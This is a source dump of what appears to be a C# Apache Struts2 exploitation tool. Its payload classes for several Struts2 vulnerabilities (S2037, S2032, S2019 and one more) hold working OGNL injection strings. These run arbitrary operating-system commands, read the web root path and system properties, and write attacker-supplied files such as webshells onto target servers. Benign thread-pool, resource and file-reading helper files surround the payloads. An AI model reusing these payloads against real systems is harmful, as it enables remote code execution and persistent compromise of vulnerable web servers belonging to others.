"%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#p=#req.getSession().getServletContext().getRealPath('/')).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.addHeader('webpath',#p))}"; 13 | private String Exp_Exec = "%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('[cmd]').getInputStream())).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.addHeader('cmd',#str))}"; 14 | private String Exp_Upload_Path = "${%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23path%3d%23req.getRealPath(%23parameters.pp[0]),new%20java.io.BufferedWriter(new%20java.io.FileWriter(%23parameters.shellname[0]).append(%23parameters.shellContent[0])).close(),%23w.print(%23parameters.info1[0]),%23w.print(%23parameters.info2[0]),%23w.print(%23req.getContextPath()),%23w.close(),1?%23xx:%23request.toString&shellname=[path]&shellContent=[filecontent]&encoding=UTF-8&pp=%2f&info1=oko&info2=kok%2f"; 15 | 16 | public String Get_Exp_Check() 17 | { 18 | return HttpUtility.UrlEncode(this.Exp_Check); 19 | } 20 | public String Get_Exp_VerInfo(String vername) 21 | { 22 | return HttpUtility.UrlEncode(this.Exp_VerInfo.Replace("[vername]", vername)); ; 23 | } 24 | public String Get_Exp_Path() 25 | { 26 | return HttpUtility.UrlEncode(this.Exp_Path).Replace("%2f","/"); 27 | } 28 | public String Get_Exp_Exec(String cmd) 29 | { 30 | return HttpUtility.UrlEncode(this.Exp_Exec.Replace("[cmd]", cmd)).Replace("+","%20"); 31 | } 32 | public String Get_Exp_Upload(String path, String fileName, String fileContent) 33 | { 34 | /* 35 | if ("".Equals(path)) 36 | { 37 | this.Exp_Upload = this.Exp_Upload.Replace("[filename]", fileName); 38 | } 39 | else 40 | { 41 | this.Exp_Upload_Path = this.Exp_Upload_Path.Replace("[path]", path); 42 | } 43 | return this.Exp_Upload.Replace("[filecontent]", fileContent); 44 | */ 45 | return ""; 46 | } 47 | 48 | 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /Test/smartthread/CallerThreadContext.cs: -------------------------------------------------------------------------------- 1 | 2 | #if !(_WINDOWS_CE) && !(_SILVERLIGHT) && !(WINDOWS_PHONE) 3 | 4 | using System; 5 | using System.Diagnostics; 6 | using System.Threading; 7 | using System.Reflection; 8 | using System.Web; 9 | using System.Runtime.Remoting.Messaging; 10 | 11 | 12 | namespace Amib.Threading.Internal 13 | { 14 | #region CallerThreadContext class 15 | 16 | /// 17 | /// This class stores the caller call context in order to restore 18 | /// it when the work item is executed in the thread pool environment. 19 | /// 20 | internal class CallerThreadContext 21 | { 22 | #region Prepare reflection information 23 | 24 | // Cached type information. 25 | private static readonly MethodInfo getLogicalCallContextMethodInfo = 26 | typeof(Thread).GetMethod("GetLogicalCallContext", BindingFlags.Instance | BindingFlags.NonPublic); 27 | 28 | private static readonly MethodInfo setLogicalCallContextMethodInfo = 29 | typeof(Thread).GetMethod("SetLogicalCallContext", BindingFlags.Instance | BindingFlags.NonPublic); 30 | 31 | private static string HttpContextSlotName = GetHttpContextSlotName(); 32 | 33 | private static string GetHttpContextSlotName() 34 | { 35 | FieldInfo fi = typeof(HttpContext).GetField("CallContextSlotName", BindingFlags.Static | BindingFlags.NonPublic); 36 | 37 | if (fi != null) 38 | { 39 | return (string) fi.GetValue(null); 40 | } 41 | 42 | return "HttpContext"; 43 | } 44 | 45 | #endregion 46 | 47 | #region Private fields 48 | 49 | private HttpContext _httpContext; 50 | private LogicalCallContext _callContext; 51 | 52 | #endregion 53 | 54 | /// 55 | /// Constructor 56 | /// 57 | private CallerThreadContext() 58 | { 59 | } 60 | 61 | public bool CapturedCallContext 62 | { 63 | get 64 | { 65 | return (null != _callContext); 66 | } 67 | } 68 | 69 | public bool CapturedHttpContext 70 | { 71 | get 72 | { 73 | return (null != _httpContext); 74 | } 75 | } 76 | 77 | /// 78 | /// Captures the current thread context 79 | /// 80 | /// 81 | public static CallerThreadContext Capture( 82 | bool captureCallContext, 83 | bool captureHttpContext) 84 | { 85 | Debug.Assert(captureCallContext || captureHttpContext); 86 | 87 | CallerThreadContext callerThreadContext = new CallerThreadContext(); 88 | 89 | // TODO: In NET 2.0, redo using the new feature of ExecutionContext class - Capture() 90 | // Capture Call Context 91 | if(captureCallContext && (getLogicalCallContextMethodInfo != null)) 92 | { 93 | callerThreadContext._callContext = (LogicalCallContext)getLogicalCallContextMethodInfo.Invoke(Thread.CurrentThread, null); 94 | if (callerThreadContext._callContext != null) 95 | { 96 | callerThreadContext._callContext = (LogicalCallContext)callerThreadContext._callContext.Clone(); 97 | } 98 | } 99 | 100 | // Capture httpContext 101 | if (captureHttpContext && (null != HttpContext.Current)) 102 | { 103 | callerThreadContext._httpContext = HttpContext.Current; 104 | } 105 | 106 | return callerThreadContext; 107 | } 108 | 109 | /// 110 | /// Applies the thread context stored earlier 111 | /// 112 | /// 113 | public static void Apply(CallerThreadContext callerThreadContext) 114 | { 115 | if (null == callerThreadContext) 116 | { 117 | throw new ArgumentNullException("callerThreadContext"); 118 | } 119 | 120 | // Todo: In NET 2.0, redo using the new feature of ExecutionContext class - Run() 121 | // Restore call context 122 | if ((callerThreadContext._callContext != null) && (setLogicalCallContextMethodInfo != null)) 123 | { 124 | setLogicalCallContextMethodInfo.Invoke(Thread.CurrentThread, new object[] { callerThreadContext._callContext }); 125 | } 126 | 127 | // Restore HttpContext 128 | if (callerThreadContext._httpContext != null) 129 | { 130 | HttpContext.Current = callerThreadContext._httpContext; 131 | //CallContext.SetData(HttpContextSlotName, callerThreadContext._httpContext); 132 | } 133 | } 134 | } 135 | 136 | #endregion 137 | } 138 | #endif 139 | -------------------------------------------------------------------------------- /Test/payload/S2037.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace payload 6 | { 7 | public class S2037:BasePayload 8 | { 9 | private String Exp_Check = "(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23w.print(%23parameters.web[0]),%23w.print(%23parameters.path[0]),%23w.close()):xx.toString.json?&pp=%2f&encoding=UTF-8&web=struts2_security_&path=check"; 10 | private String Exp_VerInfo = "(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23w.print(%23parameters.vername[0]),%23w.print(@java.lang.System@getProperty(%23parameters.verval[0])),%23w.close()):xx.toString.json?&pp=%2f&encoding=UTF-8&vername=[vername]%3a&verval=[vername]"; 11 | private String Exp_Path = "(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23parameters.web[0]),%23w.print(%23parameters.path[0]),%23w.print(%23path),%23w.close()):xx.toString.json?&pp=%2f&encoding=UTF-8&web=web&path=path"; 12 | private String Exp_Exec = "(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close()):xx.toString.json&cmd=[cmd]&pp=\\\\AAAA&ppp=%20&encoding=UTF-8"; 13 | private String Exp_Upload = "(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23path%3d%23req.getRealPath(%23parameters.pp[0]),new%20java.io.BufferedWriter(new%20java.io.FileWriter(%23path%2b%23parameters.shellname[0]).append(%23parameters.shellContent[0])).close(),%23w.print(%23parameters.info1[0]),%23w.print(%23parameters.info2[0]),%23w.print(%23req.getContextPath()),%23w.close()):xx.toString.json&shellname=[pathfilename]&shellContent=[filecontent]&encoding=UTF-8&pp=%2f&info1=oko&info2=kok%2f"; 14 | private String Exp_Upload_Path= "(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),new+java.io.File%28%23parameters.path[0]%29.mkdirs%28%29,new%20java.io.BufferedWriter(new%20java.io.FileWriter(%23parameters.shellname[0]).append(%23parameters.shellContent[0])).close(),%23w.print(%23parameters.info1[0]),%23w.print(%23parameters.info2[0]),%23w.print(%23req.getContextPath()),%23w.close()):xx.toString.json&path=[path]&shellname=[pathfilename]&shellContent=[filecontent]&encoding=UTF-8&pp=%2f&info1=oko&info2=kok%2f"; 15 | public String Get_Exp_Check() 16 | { 17 | return this.Exp_Check; 18 | } 19 | public String Get_Exp_VerInfo(String vername) 20 | { 21 | return this.Exp_VerInfo.Replace("[vername]", vername); ; 22 | } 23 | public String Get_Exp_Path() { 24 | return this.Exp_Path; 25 | } 26 | public String Get_Exp_Exec(String cmd) 27 | { 28 | return this.Exp_Exec.Replace("[cmd]",cmd); 29 | } 30 | public String Get_Exp_Upload(String path,String fileName,String fileContent) 31 | { 32 | if ("".Equals(path)) 33 | { 34 | this.Exp_Upload = this.Exp_Upload.Replace("[pathfilename]", fileName); 35 | return this.Exp_Upload.Replace("[filecontent]", fileContent); 36 | } 37 | else { 38 | this.Exp_Upload_Path = this.Exp_Upload_Path.Replace("[path]", path); 39 | this.Exp_Upload_Path = this.Exp_Upload_Path.Replace("[pathfilename]", path+"/"+ fileName); 40 | return this.Exp_Upload_Path.Replace("[filecontent]", fileContent); 41 | } 42 | 43 | } 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /Test/payload/S2032.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace payload 6 | { 7 | public class S2032:BasePayload 8 | { 9 | private String Exp_Check = "method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23w.print(%23parameters.web[0]),%23w.print(%23parameters.path[0]),%23w.close(),1?%23xx:%23request.toString&pp=%2f&encoding=UTF-8&web=struts2_security_&path=check"; 10 | private String Exp_VerInfo = "method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23w.print(%23parameters.vername[0]),%23w.print(@java.lang.System@getProperty(%23parameters.verval[0])),%23w.close(),1?%23xx:%23request.toString&pp=%2f&encoding=UTF-8&vername=[vername]%3a&verval=[vername]"; 11 | private String Exp_Path = "method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23parameters.web[0]),%23w.print(%23parameters.path[0]),%23w.print(%23path),%23w.close(),1?%23xx:%23request.toString&pp=%2f&encoding=UTF-8&web=web&path=path%3a"; 12 | private String Exp_Exec = "method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=[cmd]&pp=\\\\AAAA&ppp=%20&encoding=UTF-8"; 13 | private String Exp_Upload = "method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23path%3d%23req.getRealPath(%23parameters.pp[0]),new%20java.io.BufferedWriter(new%20java.io.FileWriter(%23path%2b%23parameters.shellname[0]).append(%23parameters.shellContent[0])).close(),%23w.print(%23parameters.info1[0]),%23w.print(%23parameters.info2[0]),%23w.print(%23req.getContextPath()),%23w.close(),1?%23xx:%23request.toString&shellname=[pathfilename]&shellContent=[filecontent]&encoding=UTF-8&pp=%2f&info1=oko&info2=kok%2f"; 14 | private String Exp_Upload_Path= "method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23path%3d%23req.getRealPath(%23parameters.pp[0]),new+java.io.File%28%23parameters.path[0]%29.mkdirs%28%29,new%20java.io.BufferedWriter(new%20java.io.FileWriter(%23parameters.shellname[0]).append(%23parameters.shellContent[0])).close(),%23w.print(%23parameters.info1[0]),%23w.print(%23parameters.info2[0]),%23w.print(%23req.getContextPath()),%23w.close(),1?%23xx:%23request.toString&path=[path]&shellname=[pathfilename]&shellContent=[filecontent]&encoding=UTF-8&pp=%2f&info1=oko&info2=kok%2f"; 15 | 16 | public String Get_Exp_Check() 17 | { 18 | return this.Exp_Check; 19 | } 20 | public String Get_Exp_VerInfo(String vername) 21 | { 22 | return this.Exp_VerInfo.Replace("[vername]", vername); ; 23 | } 24 | public String Get_Exp_Path() { 25 | return this.Exp_Path; 26 | } 27 | public String Get_Exp_Exec(String cmd) 28 | { 29 | return this.Exp_Exec.Replace("[cmd]",cmd); 30 | } 31 | public String Get_Exp_Upload(String path,String fileName,String fileContent) 32 | { 33 | if ("".Equals(path)) 34 | { 35 | this.Exp_Upload = this.Exp_Upload.Replace("[pathfilename]", fileName); 36 | return this.Exp_Upload.Replace("[filecontent]", fileContent); 37 | } 38 | else { 39 | this.Exp_Upload_Path = this.Exp_Upload_Path.Replace("[pathfilename]", path+"/"+ fileName); 40 | this.Exp_Upload_Path = this.Exp_Upload_Path.Replace("[path]", path); 41 | return this.Exp_Upload_Path.Replace("[filecontent]", fileContent); 42 | } 43 | } 44 | 45 | 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /Test/payload/S2019.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace payload 6 | { 7 | public class S2019:BasePayload 8 | { 9 | private String Exp_Check = "debug=command&expression=%23req%3d%23context.get%28%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27%29,%23resp%3d%23context.get%28%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27%29,%23resp.setCharacterEncoding%28%27UTF-8%27%29,%23resp.getWriter%28%29.print%28%22struts2_security_%22%29,%23resp.getWriter%28%29.print%28%22check%22%29,%23resp.getWriter%28%29.flush%28%29,%23resp.getWriter%28%29.close%28%29"; 10 | private String Exp_VerInfo = "debug=command&expression=%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%23context.get%28%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27%29,%23resp%3d%23context.get%28%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27%29,%23resp.setCharacterEncoding%28%27UTF-8%27%29,%23resp.getWriter%28%29.print%28%22[vername]:%22%29,%23resp.getWriter%28%29.print%28@java.lang.System@getProperty%28%22[vername]%22%29%29,%23resp.getWriter%28%29.flush%28%29,%23resp.getWriter%28%29.close%28%29"; 11 | private String Exp_Path= "debug=command&expression=%23req%3d%23context.get%28%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27%29,%23resp%3d%23context.get%28%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27%29,%23resp.setCharacterEncoding%28%27UTF-8%27%29,%23resp.getWriter%28%29.print%28%22web%22%29,%23resp.getWriter%28%29.print%28%22path:%22%29,%23resp.getWriter%28%29.print%28%23req.getSession%28%29.getServletContext%28%29.getRealPath%28%22/%22%29%29,%23resp.getWriter%28%29.flush%28%29,%23resp.getWriter%28%29.close%28%29"; 12 | //部分情况获取不到结果 13 | //private String Exp_Exec = "debug=command&expression=%23req%3d%23context.get%28%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27%29,%23s%3dnew%20java.util.Scanner%28%28new%20java.lang.ProcessBuilder%28%22[cmd]%22%29%29.start%28%29.getInputStream%28%29%29.useDelimiter%28%27\\\\AAAA%27%29,%23str%3d%23s.hasNext%28%29?%23s.next%28%29:%27%27,%23resp%3d%23context.get%28%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27%29,%23resp.setCharacterEncoding%28%27UTF-8%27%29,%23resp.getWriter%28%29.println%28%23str%29,%23resp.getWriter%28%29.flush%28%29,%23resp.getWriter%28%29.close%28%29"; 14 | private String Exp_Exec = "debug=command&expression=%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%23context.get%28%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27%29,%23resp%3d%23context.get%28%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27%29,%23resp.setCharacterEncoding%28%27UTF-8%27%29,%23resp.getWriter%28%29.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%22[cmd]%22%29.getInputStream%28%29%29%29,%23resp.getWriter%28%29.flush%28%29,%23resp.getWriter%28%29.close%28%29"; 15 | private String Exp_Upload = "debug=command&expression=%23req%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29,%23res%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23res.getWriter%28%29.print%28%22oko%22%29,%23res.getWriter%28%29.print%28%22kok/%22%29,%23res.getWriter%28%29.print%28%23req.getContextPath%28%29%29,%23res.getWriter%28%29.flush%28%29,%23res.getWriter%28%29.close%28%29,new+java.io.BufferedWriter%28new+java.io.FileWriter%28%27[path]%27%29%29.append%28%23req.getParameter%28%22shell%22%29%29.close%28%29&shell=[filecontent]"; 16 | private String Exp_SetMyUpload = "debug=command&expression=%23req%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29,%23res%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23res.getWriter%28%29.print%28%22oko%22%29,%23res.getWriter%28%29.print%28%22kok/%22%29,%23res.getWriter%28%29.print%28%23req.getContextPath%28%29%29,%23res.getWriter%28%29.flush%28%29,%23res.getWriter%28%29.close%28%29,new+java.io.File%28%27[path]%27%29.mkdirs%28%29,new+java.io.BufferedWriter%28new+java.io.FileWriter%28%27[pathfilename]%27%29%29.append%28%23req.getParameter%28%22shell%22%29%29.close%28%29&shell=[filecontent]"; 17 | 18 | 19 | public String Get_Exp_Check() 20 | { 21 | return this.Exp_Check; 22 | } 23 | public String Get_Exp_VerInfo(String vername) 24 | { 25 | return this.Exp_VerInfo.Replace("[vername]",vername); ; 26 | } 27 | public String Get_Exp_Path() { 28 | return this.Exp_Path; 29 | } 30 | public String Get_Exp_Exec(String cmd) 31 | { 32 | return this.Exp_Exec.Replace("[cmd]",cmd); 33 | } 34 | public String Get_Exp_Upload(String path,String fileName,String fileContent) 35 | { 36 | if ("".Equals(path)) 37 | { 38 | this.Exp_Upload = this.Exp_Upload.Replace("[pathfilename]", fileName); 39 | return this.Exp_Upload.Replace("[filecontent]", fileContent); 40 | } 41 | else { 42 | this.Exp_SetMyUpload = this.Exp_SetMyUpload.Replace("[path]", path); 43 | this.Exp_SetMyUpload = this.Exp_SetMyUpload.Replace("[pathfilename]", path+"/"+ fileName); 44 | return this.Exp_SetMyUpload.Replace("[filecontent]", fileContent); 45 | } 46 | 47 | } 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /Test/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | text/microsoft-resx 107 | 108 | 109 | 2.0 110 | 111 | 112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 113 | 114 | 115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | -------------------------------------------------------------------------------- /Test/smartthread/WIGStartInfo.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace Amib.Threading 4 | { 5 | /// 6 | /// Summary description for WIGStartInfo. 7 | /// 8 | public class WIGStartInfo 9 | { 10 | private bool _useCallerCallContext; 11 | private bool _useCallerHttpContext; 12 | private bool _disposeOfStateObjects; 13 | private CallToPostExecute _callToPostExecute; 14 | private PostExecuteWorkItemCallback _postExecuteWorkItemCallback; 15 | private bool _startSuspended; 16 | private WorkItemPriority _workItemPriority; 17 | private bool _fillStateWithArgs; 18 | 19 | protected bool _readOnly; 20 | 21 | public WIGStartInfo() 22 | { 23 | _fillStateWithArgs = SmartThreadPool.DefaultFillStateWithArgs; 24 | _workItemPriority = SmartThreadPool.DefaultWorkItemPriority; 25 | _startSuspended = SmartThreadPool.DefaultStartSuspended; 26 | _postExecuteWorkItemCallback = SmartThreadPool.DefaultPostExecuteWorkItemCallback; 27 | _callToPostExecute = SmartThreadPool.DefaultCallToPostExecute; 28 | _disposeOfStateObjects = SmartThreadPool.DefaultDisposeOfStateObjects; 29 | _useCallerHttpContext = SmartThreadPool.DefaultUseCallerHttpContext; 30 | _useCallerCallContext = SmartThreadPool.DefaultUseCallerCallContext; 31 | } 32 | 33 | public WIGStartInfo(WIGStartInfo wigStartInfo) 34 | { 35 | _useCallerCallContext = wigStartInfo.UseCallerCallContext; 36 | _useCallerHttpContext = wigStartInfo.UseCallerHttpContext; 37 | _disposeOfStateObjects = wigStartInfo.DisposeOfStateObjects; 38 | _callToPostExecute = wigStartInfo.CallToPostExecute; 39 | _postExecuteWorkItemCallback = wigStartInfo.PostExecuteWorkItemCallback; 40 | _workItemPriority = wigStartInfo.WorkItemPriority; 41 | _startSuspended = wigStartInfo.StartSuspended; 42 | _fillStateWithArgs = wigStartInfo.FillStateWithArgs; 43 | } 44 | 45 | protected void ThrowIfReadOnly() 46 | { 47 | if (_readOnly) 48 | { 49 | throw new NotSupportedException("This is a readonly instance and set is not supported"); 50 | } 51 | } 52 | 53 | /// 54 | /// Get/Set if to use the caller's security context 55 | /// 56 | public virtual bool UseCallerCallContext 57 | { 58 | get { return _useCallerCallContext; } 59 | set 60 | { 61 | ThrowIfReadOnly(); 62 | _useCallerCallContext = value; 63 | } 64 | } 65 | 66 | 67 | /// 68 | /// Get/Set if to use the caller's HTTP context 69 | /// 70 | public virtual bool UseCallerHttpContext 71 | { 72 | get { return _useCallerHttpContext; } 73 | set 74 | { 75 | ThrowIfReadOnly(); 76 | _useCallerHttpContext = value; 77 | } 78 | } 79 | 80 | 81 | /// 82 | /// Get/Set if to dispose of the state object of a work item 83 | /// 84 | public virtual bool DisposeOfStateObjects 85 | { 86 | get { return _disposeOfStateObjects; } 87 | set 88 | { 89 | ThrowIfReadOnly(); 90 | _disposeOfStateObjects = value; 91 | } 92 | } 93 | 94 | 95 | /// 96 | /// Get/Set the run the post execute options 97 | /// 98 | public virtual CallToPostExecute CallToPostExecute 99 | { 100 | get { return _callToPostExecute; } 101 | set 102 | { 103 | ThrowIfReadOnly(); 104 | _callToPostExecute = value; 105 | } 106 | } 107 | 108 | 109 | /// 110 | /// Get/Set the default post execute callback 111 | /// 112 | public virtual PostExecuteWorkItemCallback PostExecuteWorkItemCallback 113 | { 114 | get { return _postExecuteWorkItemCallback; } 115 | set 116 | { 117 | ThrowIfReadOnly(); 118 | _postExecuteWorkItemCallback = value; 119 | } 120 | } 121 | 122 | 123 | /// 124 | /// Get/Set if the work items execution should be suspended until the Start() 125 | /// method is called. 126 | /// 127 | public virtual bool StartSuspended 128 | { 129 | get { return _startSuspended; } 130 | set 131 | { 132 | ThrowIfReadOnly(); 133 | _startSuspended = value; 134 | } 135 | } 136 | 137 | 138 | /// 139 | /// Get/Set the default priority that a work item gets when it is enqueued 140 | /// 141 | public virtual WorkItemPriority WorkItemPriority 142 | { 143 | get { return _workItemPriority; } 144 | set { _workItemPriority = value; } 145 | } 146 | 147 | /// 148 | /// Get/Set the if QueueWorkItem of Action<...>/Func<...> fill the 149 | /// arguments as an object array into the state of the work item. 150 | /// The arguments can be access later by IWorkItemResult.State. 151 | /// 152 | public virtual bool FillStateWithArgs 153 | { 154 | get { return _fillStateWithArgs; } 155 | set 156 | { 157 | ThrowIfReadOnly(); 158 | _fillStateWithArgs = value; 159 | } 160 | } 161 | 162 | /// 163 | /// Get a readonly version of this WIGStartInfo 164 | /// 165 | /// Returns a readonly reference to this WIGStartInfoRO 166 | public WIGStartInfo AsReadOnly() 167 | { 168 | return new WIGStartInfo(this) { _readOnly = true }; 169 | } 170 | } 171 | } 172 | -------------------------------------------------------------------------------- /Test/FileTool.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | using System.IO; 5 | 6 | namespace file 7 | { 8 | class FileTool 9 | { 10 | 11 | //读取单个字典文件(文件编码为UTF-8) 12 | public static List readFileToList(String path) 13 | { 14 | 15 | List list = new List(); 16 | FileStream fs_dir = null; 17 | StreamReader reader = null; 18 | try 19 | { 20 | fs_dir = new FileStream(path, FileMode.Open, FileAccess.Read); 21 | 22 | reader = new StreamReader(fs_dir); 23 | 24 | String lineStr; 25 | 26 | while ((lineStr = reader.ReadLine()) != null) 27 | { 28 | if (!lineStr.Equals("")) 29 | { 30 | list.Add(lineStr); 31 | } 32 | } 33 | } 34 | catch (Exception e) 35 | { 36 | 37 | } 38 | finally { 39 | if (reader != null) 40 | { 41 | reader.Close(); 42 | } 43 | if (fs_dir != null) 44 | { 45 | fs_dir.Close(); 46 | } 47 | } 48 | return list; 49 | } 50 | 51 